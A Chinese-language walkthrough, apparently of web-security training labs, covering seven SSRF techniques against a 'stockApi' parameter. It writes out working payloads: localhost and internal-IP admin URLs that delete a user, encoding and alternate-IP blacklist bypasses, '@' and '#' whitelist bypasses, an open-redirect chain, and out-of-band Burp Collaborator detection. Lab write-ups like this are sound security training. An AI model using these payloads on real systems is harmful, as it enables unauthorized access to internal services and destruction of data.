一、针对本地服务器的基本SSRF
1、发送查询商品数量请求,通过Burp Suite 抓取,发现stockApi存在SSRF攻击面。
2、通过Burp Suite构造查询请求,stockApi改为:http://localhost/admin,发送请求消息,返回管理界面。
3、根据返回的url,使用Burp Suite构造删除请求,stockApi改为:http://localhost/admin/delete?username=carlos,发送请求,成功删除用户。
特点:无防护。
二、针对另一个后端系统的基本SSRF
1、发送查询商品数量请求,通过Burp Suite 抓取,发现stockApi存在SSRF攻击面。
2、通过Burp Suite构造查询请求,发送到Intruder进行暴力破解寻找后端服务器
stockApi改为:http://192.168.0.X:8080,X设置成参数。
设置参数信息:
通过返回包找到管理员页面。
3、根据返回的url,使用Burp Suite构造删除请求,stockApi改为:http://192.168.0.33:8080/admin/delete?username=carlos,发送请求,成功删除用户。
总结:请求服务与管理服务不在同一台主机。
三、具有基于黑名单的输入过滤器的SSRF
1、发送查询商品数量请求,通过Burp Suite 抓取,发现stockApi存在SSRF攻击面。
2、通过Burp Suite构造查询请求,stockApi改为:http://127.0.0.1/admin,发送请求消息,观察到请求被阻止。将 stockApi改为:http://127.1/%2561dmin 发送请求,成功绕过返回管理页面。
3、 根据返回的url,使用Burp Suite构造删除请求,stockApi改为:http://127.1/admin/delete?username=carlos%2561http://127.1/admin/delete?username=carlos,发送请求,成功删除用户。
特点:后端设置了黑名单,针对黑名单可通过以下几种方式绕过。
- 注册您自己的域名,该域名解析为 .您可以为此目的使用。例如:
127.0.0.1
spoofed.burpcollaborator.net
- 使用 URL 编码或大小写变体对阻止的字符串进行模糊处理。例如:双编码 a=%2561
- 使用 的替代 IP 表示形式,例如:127.0.0.1=2130706433=017700000001=127.1
- 短网址绕过:将网址转换短网址。
- 。绕过:127。0。0。1 替代 127.0.0.1
四、具有基于白名单的输入过滤器的SSRF
1、发送查询商品数量请求,通过Burp Suite 抓取,发现stockApi存在SSRF攻击面。
2、通过Burp Suite构造查询请求, 将stockApi改为:http://127.1/%2561dmin 发送请求,发,观察到请求被阻止,只能允许白名单中域名访问。将 stockApi改为:http://localhost:80%2523@stock.weliketoshop.net/admin发送请求,成功绕过返回管理页面。
3、 根据返回的url,使用Burp Suite构造删除请求,stockApi改为:http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos,发送请求,成功删除用户。
特点:后端设置了白名单,针对白名单可通过一下几种方式绕过。
#绕过:
http://evil-host#expected-host.绕过:http://expected-host.evil-host
- 编码混淆绕过:#=%2523
- 多种绕过方式结合:https://evil-host%2523@expected-host
五、具有通过开放重定向的过滤器旁路漏洞SSRF
1、发送查询商品数量请求,通过Burp Suite 抓取,发现stockApi存在SSRF攻击面。
2、通过Burp Suite构造查询请求, 将stockApi改为:/127.1/%2561dmin 发送请求,观察到请求被阻止。通过网站寻找重定向请求nextProduct,将 stockApi改为:/product/nextProduct?path=http://192.168.0.12:8080/admin发送请求,成功绕过返回管理页面。
3、 根据返回的url,使用Burp Suite构造删除请求,stockApi改为:/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos,发送请求,成功删除用户。
特点:URL经过严格的验证,但存在重定向漏洞,程序可通过重定向绕过。
六、带外检测的盲SSRF
1、打开Burp Collaborator client,点击Copy to Clopboard。
2、点击商品,通过Burp Suite 抓取查询包,将Copy 的 信息放到Referer 标头。
3、点击发送,外带成功。
特点:服务器解析Referer标头。单向交互,只能向服务器发送请求,无法查看返回信息。
七、盲SSRF与Shellshock 利用
1、打开Burp Collaborator client,点击Copy to Clopboard。
2、点击商品,通过Burp Suite 抓取查询包,发送到Intreder。
3、构造Intreder,点击Stsrt attack。
4、通过Burp Collaborator client,点击Poll now,获得主机名。
总结:服务器解析Referer及User-Agent标头,通过Shellshock 漏洞与外部服务器进行交互。